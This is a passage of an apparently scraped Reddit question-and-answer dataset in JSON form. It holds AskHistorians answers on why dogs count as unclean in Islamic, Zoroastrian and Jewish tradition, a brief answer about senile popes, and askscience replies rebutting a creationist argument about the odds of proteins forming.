greens_ - a destroyer of Ahura Mazda's lush creation? Regardless, the Videvdad's Fargard 13 covers the more canine varieties of \"dog\" as well.\n\nThis then ties into a complex and confusing aspect of Zoroastrian theology (_yes, yes, I'm going to get to Islam **eventually**_) - the evil and impure creations of Angra Mainyu. These are, for example, vermin and poisonous arachnids. On the one hand, it is considered a service to good to destroy such a creature. On the other hand, doing so risks polluting the Earth. Dogs, hedgehogs and \"water-dogs\", i.e., otters (the entirety of [Fargard 14](_URL_1_) is dedicated to a long list of increasingly implausible and unfeasible trials the killer of an otter must undergo, which I unabashedly admit I find hilarious) are seen as being in opposition to the impure creations of Angra Mainyu; being creations of Ahura Mazda, they presumably kill the evil creatures in the most ritually pure way possible; one may compare this to the Zoroastrian practice of burial by exposure, letting scavengers pick off the unclean flesh (see e.g. Fargard 5:1-3.) Cf also Bundahishn 21:\n\n\n > 21. Also other beasts and birds are created all in opposition to noxious creatures, as it says, that when the birds and beasts are all in opposition to noxious creatures and wizards, etc. ... 23. Regarding the white falcon it says, that it kills the serpent with wings. 24. The magpie (kaskinak) bird kills the locust, and is created in opposition to it. 25. The Kahrkas, dwelling in decay, which is the vulture, is created for devouring dead matter (nasai); so also are the crow (valak) and the mountain kite.\n\nNow that we have established the outlines of why dogs, among other animals, are considered virtuous in Zoroastrian thought, we want too look at what Islamic tradition says about dogs, purity, and dogs and purity, and compare and contrast. Dogs are, as far as I know and can identify, mentioned three times in the Qur'an itself (suras 8:176, 18:18, 18:22), each time in a neutral and off-hand manner, as companions of humans. To find the source of legal opinions on the impurity of dogs, we must instead turn to the Hadith. Sahih al-Bukhari and Sahih Muslim, two of the most (or even the two most) widely accepted collections of Hadith among Sunni Muslims of various schools, both attribute via either Abu Hurayrah or Ibn 'Umar (in the case of Muslim, both), the quote to Muhammad:\n\n > \u201cWhoever keeps a dog, a qiraat [literally, a recitation] from his good deeds will be deducted every day, except a dog for farming or herding livestock.\u201d \n\n... Yep, that's the whole of that particular anecdote - little in the way of justification, and this is a recurring pattern. As the Encyclopaedia Britannica notes,\n\n > One of the most striking features of the Islamic legal (fiqh) literature on purity (as on most things) is the nearly complete absence of any justification for ritual rules. Why God ordained washing in a certain way as a precondition of prayer or excluded menstruating women from ritual was not explained by the legists. \n\nSo, while we can stare ourselves blind at hadith or judgments delineating one or another aspect of dogs pure or impure, halal or haram, we're not going to get much in the way of justification. Does that leave us totally blind as to the reasons for Near Eastern skepticism towards dogs? Of course not. We can turn to Jewish tradition. In the Talmudic _Bava Kamma_ 79.b it is glossed:\n\n >  ...Furthermore, one may not raise pigs anywhere, and a person may not raise a dog unless it is tied with chains. ...  \n\n > The baraita [Jewish oral tradition] continues: Just as the Sages said that one may not raise small domesticated animals i.e., sheep and goats, so too they said that one may not raise small undomesticated animal. Rabbi Yishmael says: **One may raise village dogs**, cats, monkeys, and genets, **because they serve to clean the house of mice and other vermin**.\n\nWhile some rationalize \"tied with chains\" to suggest restraining in order not to frighten people, I suspect it is meant to indicate the animal's status as a servant or labourer. We may trace the roots of this scepticism all the way back to Leviticus 11:16-27:\n\n > 26 \"'Every animal that does not have a divided hoof or that does not chew the cud is unclean for you; whoever **touches the carcass** of any of them will be unclean.  \n27 Of all the animals that walk on all fours, those that walk on their paws are unclean for you; whoever **touches their carcasses** will be unclean till evening.\n\nDogs, of course, walk on paws - as do cats- and hence should be unclean by this decree. But mentioning \"carcasses\" just as in the more famous 11:26, suggests that it refers to _consumption_, and thus there is considerable ambiguity as to whether the mere ownership of a dog is something to be sceptical of. But Leviticus 11:29-30:\n\n > Of the animals that move along the ground, these are unclean for you: the weasel, the rat, any kind of great lizard, the gecko, the monitor lizard, the wall lizard, the skink and the chameleon.\n\nSo dogs are unclean at the very least for consumption, but they hunt vermin and other creatures that are just unclean period. This appears to be the reasoning underlying the Jewish tradition of ambiguity toward dogs, and the Islamic _hadith_ seem to express a sentiment similar to the Talmudic commentaries (not an uncommon thing to see!).\n\nThe considering of vermin and creatures resembling vermin as unclean, vile or undesireable seems to be fairly cross-cultural and hopefully needs little explanation. This then puts the pious in an awkward position with regard to animals that kill and/or consume vermin (\"walking on paws\" is a pretty good way to delineate such animals). On the one hand, they get rid of the unclean animals for us. On the other hand, they interact with vermin in a way that humans are not supposed to. We could reason, perhaps, that the different traditions resolve this differently because they employ different logics of cross-pollution, but then again, some glosses of the Videvdad suggest that Zoroastrian tradition regard cats as particularly unclean, as serpents (which are unclean) in the form of a \"dog\", whereas Mosaic law seems to group them both under animals with paws. So, remember how I started this?\n\n > Looking for \"underlying reasons\" in matters of ritual purity is all-too often a fool's errand. While purity rites and rules mirror the society they appeared in, _their delineations frequently follow lines of internal logic that may be inscrutable to an outsider_.\n\nWhile we can study the various developments of various instances of the recurring tradition of scepticism toward vermin hunters, then, it is not possible to find an underlying reason for the ultimate outcome. As we have seen, Zoroastrianism and Islamic, as well as Jewish, tradition **have more in common than contrasting** in their view of the dog's role in human society as a vermin-hunter, yet their views of the dog itself range from contrasting to nearly diametrically opposed.", "Hi there, great question and one which still largely persists in Islamic debates today.\n\nOn the one hand, the Qur'an explicitly states that it is okay to use \"hunting animals\" to catch prey and that such food is halal (5.4). Since dogs were used to hunt in pre- and early Islamic times, it is safe to assume trained hunting dogs are okay. It is also implied strongly that dogs can be used effectively to guard houses and property (18.18). So it seems that in Islamic tradition, some dogs were seen as perfectly fine companions and aides to humanity. \n\nThis is a distinction from wild dogs, however, because they are not trained and thus aren't \"companions\" to humans. Wild dogs are indeed considered haram at least in some hadith (Abu Dawuud; Book 16, 2838) all dogs are considered unclean. My interpretation of the passage leads me to think that this is more of an injunction against families whose domicile is not kept in proper order (i.e. animals wandering in and out as they please as if they were human), but I am no Islamic scholar so take that for what it is worth.\n\nNow where it gets sticky is that some hadith, and some schools of jurisprudence, argue that dogs roaming cities or kept as \"pets\" (i.e. not specifically hunting, herding, or guarding property) is what makes them haram. In his blog, author [Alan Mikhail] (_URL_0_) argues that this arose about two centuries ago with misconceptions about the spread of disease. Since urban dogs ate garbage, and garbage (and feces) was associated with the spread of cholera and other disease, thus by transitive property it must be that dogs spread disease thus dogs are unclean. He goes on to argue that this might be the root of Islamic mistrust of canines.\n\nI am not entirely convinced by this, however, as one of the criticisms of the Umayyad caliphate - and evidence of their 'un-Islamic' behavior - is the keeping of dogs. According to Fisher and Ochsenwald's *The Middle East: A History* the Umayyads had to constantly bat this critique down, arguing that their dogs were trained hunters despite living in the palace(s) of the Caliph. This critique takes place centuries earlier than Mikhail's theory, but it may be that the critique wasn't that big of an issue to most since, as he rightly points out, dogs played an important role in urban settings.  \n\nI am certain that some of my colleagues here can speak more authoritatively on specific aspects of this issue. But, as far as my understanding of the issue is, the proscription is still considered very much up in the air for a very long time with valid arguments on both sides."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/9h8n4t/why_are_dogs_considered_unclean_in_islamic/e6awlsy/", "https://sunnah.com/search/%D9%88%D9%84%D8%BA-%D8%A7%D9%84%D9%83%D9%84%D8%A8", "https://quran.com/5/4", "https://sunnah.com/muslim/22/65", "https://quran.com/18", "https://ia800203.us.archive.org/15/items/waq2076/tmheed14.pdf", "https://quran.com/7/176"], ["https://www.reddit.com/r/AskHistorians/comments/9h8n4t/why_are_dogs_considered_unclean_in_islamic/e6aw2x3/", "http://www.avesta.org/vendidad/vd14sbe.htm", "http://www.avesta.org/vendidad/vd13sbe.htm"], ["https://blog.oup.com/2017/07/dogs-ancient-islamic-culture/"]]}
{"q_id": "1zl3ab", "title": "Over the last 2000 years, have any Popes been recorded as going senile?", "selftext": "I was thinking about what would happen if the leader of the catholic church was diagnosed with dementia, alzeimer's, etc. Obviously these diseases were discovered/diagnosable (relatively)only recently, but what would happen if/when a Pope is diagnosed with a disease of this nature?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1zl3ab/over_the_last_2000_years_have_any_popes_been/", "answers": {"a_id": ["cfulvcp"], "score": [2], "text": ["As far as I'm aware, no pope is known to have suffered from any such ailment."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "md583", "title": "Evolution improbable? Can someone help me disprove this claim regarding the probability of proteins to be formed. ", "selftext": "**This book claims that this is the flaw in the theory of evolution. It claims that it is impossible for a protein to form by chance. Can someone please tell me scientifically why this is a load of crap?** \n\nFrom Chapter 11 of Evolution deceit: _URL_0_\n\n\n > There are 3 basic conditions for the formation of a useful protein:\n > First condition: that all the amino acids in the protein chain are of the right type and in the right sequence\n > \n > Second condition: that all the amino acids in the chain are left-handed\n > \n > Third condition: that all of these amino acids are united between them by forming a chemical bond called \"peptide bond\".\n > \n > In order for a protein to be formed by chance, all three basic conditions must exist simultaneously. The probability of the formation of a protein by chance is equal to the multiplication of the probabilities of the realisation of each of these conditions.\n > \n > For instance, for an average molecule comprising of 500 amino acids:\n > \n > 1. The probability of the amino acids being in the right sequence:\n > \n > There are 20 types of amino acids used in the composition of proteins. According to this:\n > -The probability of each amino acid being chosen correctly among these 20 types\t= 1/20\n > -The probability of all of those 500 amino acids being chosen correctly\t= 1/20500= 1/10650\n >  \t= 1 chance in 10650\n > 2. The probability of the amino acids being left-handed:\n > \n > -The probability of only one amino acid being left-handed\t= 1/2\n > -The probability of all of those 500 amino acids being left-handed at the same time\t= 1/2500  =  1/10150\n > = 1 chance in 10150\n > \n > 3. The probability of the amino acids being combined with a \"peptide bond\":\n > Amino acids can combine with each other with different kinds of chemical bonds. In order for a useful protein to be formed, all the amino acids in the chain must have been combined with a special chemical bond called a \"peptide bond\". It is calculated that the probability of the amino acids being combined not with another chemical bond but by a peptide bond is 50%. In relation to this:\n > \n > -The probability of two amino acids being combined with a \"peptide bond\"\t= 1/2\n > -The probability of 500 amino acids all combining with peptide bonds\t= 1/2499  = 1/10150\n >  \t= 1 chance in 10150\n >  \n > TOTAL PROBABILITY\t= 1/10650 X 1/10150 X 1/10150 = 10950\n > = 1 chance in 10950\n > \n****** > The probability of an average protein molecule made up of 500 amino acids being arranged in the correct quantity and sequence in addition to the probability of all of the amino acids it contains being only left-handed and being combined with only peptide bonds is \"1\" over 10950. We can write this number which is formed by putting 950 zeros next to 1 as follows:\n > \n > 10950 =\n > \n > 100.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000. \n > 000.000.000.000.000.000.000.000.000.000.000.000.000.\n******\n\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/md583/evolution_improbable_can_someone_help_me_disprove/", "answers": {"a_id": ["c2zydsr", "c2zye6t", "c2zyfx2", "c2zykbo", "c2zyl2v", "c2zylh2", "c2zzgxf", "c30000f", "c3000s4", "c300e7y", "c3014wh", "c301lfl", "c301pel", "c301r43", "c2zydsr", "c2zye6t", "c2zyfx2", "c2zykbo", "c2zyl2v", "c2zylh2", "c2zzgxf", "c30000f", "c3000s4", "c300e7y", "c3014wh", "c301lfl", "c301pel", "c301r43"], "score": [33, 2, 86, 19, 22, 27, 3, 9, 3, 5, 2, 3, 2, 5, 33, 2, 86, 19, 22, 27, 3, 9, 3, 5, 2, 3, 2, 5], "text": ["The argument blinds you with successive calculations.  Clearly, the fault in the argument lies in its premise.  Scientists don't know how life began (although there are many theories).  Dissolving all 20 amino acids in a beaker and waiting for a specific polymer sequence to emerge is not valid experiment to test whether life evolved instead of being magically created.  \n\nThe theory that I personally favor is that early life utilized RNA-based enzymes and later switched to amino acids.", "(just a subtle formatting remark if you do 10 ^950 (without the space between) you'll get 10^950, so that way you don't have to write out all those zeros.)", "Sure, it's the classic \"Tornado in a junkyard assembling a 747\" argument. It is false because it assumes that *all* of the chance occurrences had to happen simultaneously (or the combinatorial equivalent). \n\nEvolution works by ratcheting, or accumulating small useful changes over time. So the probability of a tornado forming a 747 or one mutation of a bacteria's DNA instantly producing a full human is tiny, like the 1:10^950  in the argument you mentioned. But of course that isn't how it works.\n\nIt's the same with the proteins. Proteins are complex, but they didn't just spontaneously appear in their full complexity in the primordial soup. The simplest of them began replicating, and then small beneficial mutations were slowly accumulated over trillions of trillions of generations (remember, proteins form at megahertz speeds). Because of evolution's ratcheting effect, probability is not combinatorial.\n\nWhat we don't know is how simple the proteins and RNA can be when they first start to replicate - I.e. How did life and the evolutionary process begin? That is where combinatorial probability can be applied.", "I wanted to add one more point.  Just because an event has a low probability of occurring doesn't mean it wont.  Think of it this way.  If you had a 1000 sided dice then the probability of rolling a 1 is 1/1000.  However, suppose you roll the dice 100 times per second then asked the question, \"how long does it take to roll a 1\"?  On average, it would take 1000 rolls, which means that the average time to roll a one is 10 seconds.  Now consider that chemical reactions can occur on a many different time scales, and suddenly, a so-called rare event might not be that rare after all.", "Their argument demonstrates a classical strawman argument.\n\n1) It assumes that all chemical reactions are equally likely to happen, which is false.  \n2) It assumes that the reaction is happening in only one place, which is false. How much space is there in the oceans?  \n3) It assumes that reactions happen only one at a time in linear sequence, which is false.   \n4) It assumes equal proportions of all amino acids.  \n5) Where did their \"calculation\" concerning peptide bonds come from?  \n\nSure, it's easy to argue against such constraints. Next time ask them to argue against reality.\n\nEdit: formatting.", "Hugely improbable things happen all the time. Shuffle a pack of cards for example. Whatever sequence of 52 cards you end up with, the chance of that happening is 1 in 52 factorial, or 1 in 80,658,175,170,943,878,571,660,636,856,403,766,975,289,505,440,883,277,824,000,000,000,000. Clearly it's impossible for you to have shuffled those cards into that combination, because it's just too improbable to have happened by chance.\n\nIn any even moderately complex system the chance of it ending up in any particular chosen state is very small. That's not an argument that it is 'impossible'.", "Improbable does not equal impossible.", "This argument isn't about evolution (which is nonrandom), it's about [abiogenesis](_URL_0_). The equations are clearly made up with no basis in any theory. Even without numbers, any appeal to randomness is fundamentally undone by the sheer number of molecules on the earth and the sheer number of eons that they had to randomly form the first self-replicating molecule, after which pure random chance was no longer required because [natural selection](_URL_1_) could take place instead.\n\nThis is a waste of /r/askscience's time. Should we next disprove phlogiston?", "First of all, those are only the *alleged* probabilities if you wanted to make the exact amino acids that make up life on Earth as we know it. There may be many valid solutions which allow life to develop. As comparison, suppose you were playing poker (we'll say 5-card stud for simplicity) with 2 other people; guy A has a 2 pair, jack high, and guy B has a 3-of-a-kind, 7-high, and you have a flush: the 4, 6, 10, J and A of clubs. Now guy A says: \"How improbable! The odds of you getting exactly those cards is 1 in 2598960!\" And he's right, but you didn't need *those exact cards* to win.\n\nBut even if you did need those exact cards to win, the evolution of life isn't like 5-card stud. You don't need to get everything right all at once. So the example would be more like 5-card draw, except with many, many draws. So even if you did need those exact cards, once you got the 4 of clubs you could just hold on to it until the other cards came along.\n\nAnd on top of that, there isn't just one planet on which life happens to evolve. Life just happened to evolve here, but there are hundreds of billions of solar systems *just in our galaxy*, and there are hundreds of billions of galaxies just in the observable universe. And they all may have planets which are also \"rolling the dice\" for life. It would be like you're trying to get those exact cards in poker, but there are many rounds of drawing, and you're also playing millions of games simultaneously, and only have to win one, and there are many ways to win. \n\nLife *happened* to evolve here and *happened* to use certain amino acids. And we're here today because this particular poker game happened to be successful. But to say that in retrospect the odds of things happening *exactly the way they did* are low, ignores the obvious: that they didn't have to go that way.\n\nThink about your life. How improbable was it that you met certain influential people, that you happened to learn something that became useful later. How improbable that you became friends with someone from a chance encounter. I can definitely identify several things that seemed small and random at the time, but ended up changing my life. And it's remarkable to think how improbable it is, that I'm sitting here where I am right now, and have all the experiences in my life. If things had gone other ways, I'd be in a completely different place in my life, with different friends, a different job, etc. How improbable it all is, one might think. But you have to realize that if my life had been totally different, if all those random things hadn't happened, then other random things would have happened. I'd be a completely different person, but I'd still look back and say: how improbable it all was, that such-and-such happened and I met so-and-so randomly. So of course it's improbable that life ended up here on the Earth, and we evolved to be able to appreciate that fact. But if we had instead evolved on planet X and used different molecules, and green skin and whatnot, we'd be saying to ourselves: how improbable that we are here on planet X with *our* amino acids and beautiful green skin! What are the odds that life would evolve here!", "I'm going to pre-emptively debunk a related argument to this: That the probability of protein folding is so incredibly low that it can't possibly be working \"randomly.\" I know about this particular area of the protein folding world because, in one of those odd quirks of science, it also seems to be related to the fundamental issues in my field, understanding the glass transition.\n\nThis argument is related to the research of [Peter Wolynes](_URL_1_) (who is totally a legit scientist) and the idea of the protein folding landscape. The basic idea is that there is, essentially, 1 functional way of folding a protein and anything other than that doesn't work. This one functional way also, based on the fact that for many proteins it is incredibly hard NOT to get the \"native state\" seems to have a much lower energy than other possible ways of folding the protein. As a result, once your protein gets there it stays there.\n\nThe question is: How the hell does the protein get from randomly uncoiled to folding 'correctly'? The probability of it happening randomly are inconceivably low, and this is called the [Levinthal paradox](_URL_0_), though its not really a paradox. The calculation seems to indicate that it would take many orders of magnitude greater than the lifetime of the universe to fold a single protein correctly, let alone the gazillions in one human body.\n\nThere are those who would claim, then, that since proteins folding randomly 'doesn't work' that there must be some 'external force' or 'intelligent designer' who must be making it work right. This is, based on all scientific evidence we have so far, incorrect.\n\nThe real resolution is this: We can fold and unfold a protein in a beaker day in and day out, over and over, seemingly an infinite number of times. The experiment clearly works. We just don't understand *how* it works. The mechanism of protein folding, as yet, eludes us. We do have some clues, though.\n\nSome proteins don't fold well if you coil and uncoil them in a solution of water, they seem to only fold properly under cellular conditions. [There is some great data](_URL_2_) suggesting that for many of these proteins, they fold in the cell as they are made, one peptide at a time, and so the idea of them folding as a random coil in solution isn't an accurate representation of how they fold. \n\nThis is a failure of our ability to predict the chemical mechanism of a particular phenomenon, not a failure of the laws of physics or evolution.", "I'm not smart enough to respond to that directly.  However, one of the best ways to combat a pseudo-scientific Christian is with a scientific Christian (yes, they do exist).  Dr. Francis Collins was the head of the Human Genome Project, is the current head of the NIH, wrote a book on how evolution is compatible with the Bible (\"The Language of God\"), and is a Christian.  His website, [BioLogos](_URL_0_), is an excellent resource for explaining how science and faith are not mutually exclusive.  If you're dealing with a Christian who won't listen to a baby-eating atheist about science, try directing them to that website.", "First, an experiment that demonstrates RNA can just 'appear' (in the loosest sense of the word):\n_URL_1_\n\nNext.  RNA can replicate on it's own:\n_URL_2_\n\nAnd finally, RNA can become DNA:\n_URL_0_\n\nAt that point, you have the basic concept of 'life'.\n\nHave we seen it happen all together in nature?  Not yet.  But it can, and that's more likely than magic.", "No one ever said proteins formed spontaneously, the idea is that RNA came first and it formed terinary structures that had catalytic activity (there are still many RNA based enzymes) and using this RNA framework all the other shit developed.\n\nRead about [the RNA world hypothesis](_URL_0_) which will tell you about the probability that RNA will randomly assemble. ", "There is another possible explanation, which I happen to love, because it combines quantum mechanics and biology.  I read a great book on it called Quantum Evolution by Johnjoe McFadden, which general concepts he explains here at his website, _URL_0_)\n\nThere was a researcher, I forget his name, I think at Leigh University, that was able to build a self replicating protein about 20 amino acids long.  For the purpose of this lets assume that 20 AA, in a given specific sequence, is what is needed for life to begin, that is possess self replication. \n\nLike you say, the odds of this occurring are impossibly small if you look at it from a simple Amino Acid 1 joins with AA2 and then AA3, etc.  This is the classic primordial soup problem that science has been grappling with for a long time.  \n\nFirst a very brief and simplified version of relevant quantum stuff using light as an example (please I know I simplified/messing things around, feel free to clarify): Polarized sun glasses let in light traveling only one direction (imagine light as a wave, it can be oscillating up and down, left and right, or any mix in between of a 360 degree circle, regular sunlight has all these directions).  At a tiny level, polarized lenses act like what stunna shades look like, essentially a picket fence that blocks out all polarizations of light except one, say up/down light.  Now if you take a second pair of polarized sunglasses and turn in at a 90 degree angle to the first and put the lenses on top of one another, they turn black because you are blocking all light, the first lense only lets through up/down, and the second, turned sideways, only lets through left/right, which there isn't any of.  Cool, hopefully that makes sense, it is also a way to check is a pair of sunglasses is actually polarized before you buy it. (This is actually much more complex and emerges from Maxwell's equations and is mathematically based, _URL_7_)  (Here is a youtube video showing exactly what I mean, _URL_3_), and another helpful one (_URL_5_)\n\nNow it starts to get tricky, if you take a third lens, same as the first two, and stick it in between them at a 45 degree angle, you see roughly a 6% transmittance of light.  This is a total WTF moment as a third lens is the middle should not make any difference logically.  What happens is though all the light passed through the first lens is vertical, it also exists in all the other orientations as a probability, that is, it simultaneously exists in multiple states based on probability, which looks something like vertical being the most likely, just off vertically less likely but still possible, and all the way to horizontal which is around zero, hence why no light passes through the two filters.  BUT when the third lens in introduced, some light, existing at the 45 degree angle, DOES pass through, and then again does pass through the third horizontal filter.  These simultaneous states of existence, a key point of QM, are called eigenvectors or eigenvalues, and exist is what is known as superposition (many positions at once).  These are math based concepts that apply to chemistry, physics, etc (_URL_1_).  So the third lens allows the light to jump from vertical to 45 degrees to horizontal.  Weird.  And cool.  Try it with some sunglasses, get your mind blown. \n\nThe major point is at a very small size, particles exhibit the potential to exist simultaneously in many states, superpositions, until INTERACTING with something else causes a collapse of the wave function and only one state is allowed to continue.  There are many examples of this in QM, like the double slit experiment, where the action of observation of the experiment, that is interaction with it, causes the result to be different.  (A separate and very interesting subject, _URL_4_). And this does not just apply to tiny particles anymore, Fullerene, sixty molecules of carbon in a large ball, has been shown to exhibit this and 'exist' in two places at once, _URL_6_\n\nThis is the idea that could apply to biology.  The chances of life starting, that 20 AA peptide 'appearing', are much much more likely if in fact, in an isolated environment from primordial soup (maybe a membrane of somekind), the AAs exist in superposition, so that AA1 attaches to all the other AAs, and so on, in a vast array of superpositions, until an interaction with the environment, soup, causes it to fall out of quantum possibility and nails it into reality.  This would theoretically allow a much faster rate of 'testing' peptides in the environment until one was created that could self replicate.  Now there follows a long discussion of decoherence and its application to mutations but to cut an already too long story short, suffice to say that this possible existence in superpositions made it much more likely to get a self replicating peptide, obviously it still took millions of years so not too likely, but enough to change it from the tornado and junkyard scenario.  Hopefully this doesn't sound like total BS, I think it is a great theory and a neat connection of QM and biology, and remember most of this is created/supported by math.  And it may explain plenty of similar biological mysteries ie enzyme function.\n\nCarbonic anhydrase is an enzyme (really a family of enzymes) in our blood. Simply, they modulate the pH of our blood by controlling carbon dioxide levels through interchanging CO2 and water to bicarbonate and protons.  The point that is interesting is that it is one of the fastest enzymes we know, making chemical conversions at roughly 10,000 to 1,000,000 times per second.  How does it go so damn fast?  We have no idea.  We can understand the shape, the zinc ion binding pocket, etc, but HOW it goes so fast we do not know.  It might be due to superposition and a preferential (higher probability) state created by the interaction. (Another explanation, _URL_2_)\n\nAnyway, I love this subject, I know that I did a poor job laying this out, it is hard to encompass so much subject matter, picking and choosing to leave out much, in a simple reddit post.  Please if anyone has questions I will do my best to answer them.", "The argument blinds you with successive calculations.  Clearly, the fault in the argument lies in its premise.  Scientists don't know how life began (although there are many theories).  Dissolving all 20 amino acids in a beaker and waiting for a specific polymer sequence to emerge is not valid experiment to test whether life evolved instead of being magically created.  \n\nThe theory that I personally favor is that early life utilized RNA-based enzymes and later switched to amino acids.", "(just a subtle formatting remark if you do 10 ^950 (without the space between) you'll get 10^950, so that way you don't have to write out all those zeros.)", "Sure, it's the classic \"Tornado in a junkyard assembling a 747\" argument. It is false because it assumes that *all* of the chance occurrences had to happen simultaneously (or the combinatorial equivalent). \n\nEvolution works by ratcheting, or accumulating small useful changes over time. So the probability of a tornado forming a 747 or one mutation of a bacteria's DNA instantly producing a full human is tiny, like the 1:10^950  in the argument you mentioned. But of course that isn't how it works.\n\nIt's the same with the proteins. Proteins are complex, but they didn't just spontaneously appear in their full complexity in the primordial soup. The simplest of them began replicating, and then small beneficial mutations were slowly accumulated over trillions of trillions of generations (remember, proteins form at megahertz speeds). Because of evolution's ratcheting effect, probability is not combinatorial.\n\nWhat we don't know is how simple the proteins and RNA can be when they first start to replicate - I.e. How did life and the evolutionary process begin? That is where combinatorial probability can be applied.", "I wanted to add one more point.  Just because an event has a low probability of occurring doesn't mean it wont.  Think of it this way.  If you had a 1000 sided dice then the probability of rolling a 1 is 1/1000.  However, suppose you roll the dice 100 times per second then asked the question, \"how long does it take to roll a 1\"?  On average, it would take 1000 rolls, which means that the average time to roll a one is 10 seconds.  Now consider that chemical reactions can occur on a many different time scales, and suddenly, a so-called rare event might not be that rare after all.", "Their argument demonstrates a classical strawman argument.\n\n1) It assumes that all chemical reactions are equally likely to happen, which is false.  \n2) It assumes that the reaction is happening in only one place, which is false. How much space is there in the oceans?  \n3) It assumes that reactions happen only one at a time in linear sequence, which is false.   \n4) It assumes equal proportions of all amino acids.  \n5) Where did their \"calculation\" concerning peptide bonds come from?  \n\nSure, it's easy to argue against such constraints. Next time ask them to argue against reality.\n\nEdit: formatting.", "Hugely improbable things happen all the time. Shuffle a pack of cards for example. Whatever sequence of 52 cards you end up with, the chance of that happening is 1 in 52 factorial, or 1 in 80,658,175,170,943,878,571,660,636,856,403,766,975,289,505,440,883,277,824,000,000,000,000. Clearly it's impossible for you to have shuffled those cards into that combination, because it's just too improbable to have happened by chance.\n\nIn any even moderately complex system the chance of it ending up in any particular chosen state is very small. That's not an argument that it is 'impossible'.", "Improbable does not equal impossible.", "This argument isn't about evolution (which is nonrandom), it's about [abiogenesis](_URL_0_). The equations are clearly made up with no basis in any theory. Even without numbers, any appeal to randomness is fundamentally undone by the sheer number of molecules on the earth and the sheer number of eons that they had to randomly form the first self-replicating molecule, after which pure random chance was no longer required because [natural selection](_URL_1_) could take place instead.\n\nThis is a waste of /r/askscience's time. Should we next disprove phlogiston?", "First of all, those are only the *alleged* probabilities if you wanted to make the exact amino acids that make up life on Earth as we know it. There may be many valid solutions which allow life to develop. As comparison, suppose you were playing poker (we'll say 5-card stud for simplicity) with 2 other people; guy A has a 2 pair, jack high, and guy B has a 3-of-a-kind, 7-high, and you have a flush: the 4, 6, 10, J and A of clubs. Now guy A says: \"How improbable! The odds of you getting exactly those cards is 1 in 2598960!\" And he's right, but you didn't need *those exact cards* to win.\n\nBut even if you did need those exact cards to win, the evolution of life isn't like 5-card stud. You don't need to get everything right all at once. So the example would be more like 5-card draw, except with many, many draws. So even if you did need those exact cards, once you got the 4 of clubs you could just hold on to it until the other cards came along.\n\nAnd on top of that, there isn't just one planet on which life happens to evolve. Life just happened to evolve here, but there are hundreds of billions of solar systems *just in our galaxy*, and there are hundreds of billions of galaxies just in the observable universe. And they all may have planets which are also \"rolling the dice\" for life. It would be like you're trying to get those exact cards in poker, but there are many rounds of drawing, and you're also playing millions of games simultaneously, and only have to win one, and there are many ways to win. \n\nLife *happened* to evolve here and *happened* to use certain amino acids. And we're here today because this particular poker game happened to be successful. But to say that in retrospect the odds of things happening *exactly the way they did* are low, ignores the obvious: that they didn't have to go that way.\n\nThink about your life. How improbable was it that you met certain influential people, that you happened to learn something that became useful later. How improbable that you became friends with someone from a chance encounter. I can definitely identify several things that seemed small and random at the time, but ended up changing my life. And it's remarkable to think how improbable it is, that I'm sitting here where I am right now, and have all the experiences in my life. If things had gone other ways, I'd be in a completely different place in my life, with different friends, a different job, etc. How improbable it all is, one might think. But you have to realize that if my life had been totally different, if all those random things hadn't happened, then other random things would have happened. I'd be a completely different person, but I'd still look back and say: how improbable it all was, that such-and-such happened and I met so-and-so randomly. So of course it's improbable that life ended up here on the Earth, and we evolved to be able to appreciate that fact. But if we had instead evolved on planet X and used different molecules, and green skin and whatnot, we'd be saying to ourselves: how improbable that we are here on planet X with *our* amino acids and beautiful green skin! What are the odds that life would evolve here!", "I'm going to pre-emptively debunk a related argument to this: That the probability of protein folding is so incredibly low that it can't possibly be working \"randomly.\" I know about this particular area of the protein folding world because, in one of those odd quirks of science, it also seems to be related to the fundamental issues in my field, understanding the glass transition.\n\nThis argument is related to the research of [Peter Wolynes](_URL_1_) (who is totally a legit scientist) and the idea of the protein folding landscape. The basic idea is that there is, essentially, 1 functional way of folding a protein and anything other than that doesn't work. This one functional way also, based on the fact that for many proteins it is incredibly hard NOT to get the \"native state\" seems to have a much lower energy than other possible ways of folding the protein. As a result, once your protein gets there it stays there.\n\nThe question is: How the hell does the protein get from randomly uncoiled to folding 'correctly'? The probability of it happening randomly are inconceivably low, and this is called the [Levinthal paradox](_URL_0_), though its not really a paradox. The calculation seems to indicate that it would take many orders of magnitude greater than the lifetime of the universe to fold a single protein correctly, let alone the gazillions in one human body.\n\nThere are those who would claim, then, that since proteins folding randomly 'doesn't work' that there must be some 'external force' or 'intelligent designer' who must be making it work right. This is, based on all scientific evidence we have so far, incorrect.\n\nThe real resolution is this: We can fold and unfold a protein in a beaker day in and day out, over and over, seemingly an infinite number of times. The experiment clearly works. We just don't understand *how* it works. The mechanism of protein folding, as yet, eludes us. We do have some clues, though.\n\nSome proteins don't fold well if you coil and uncoil them in a solution of water, they seem to only fold properly under cellular conditions. [There is some great data](_URL_2_) suggesting that for many of these proteins, they fold in the cell as they are made, one peptide at 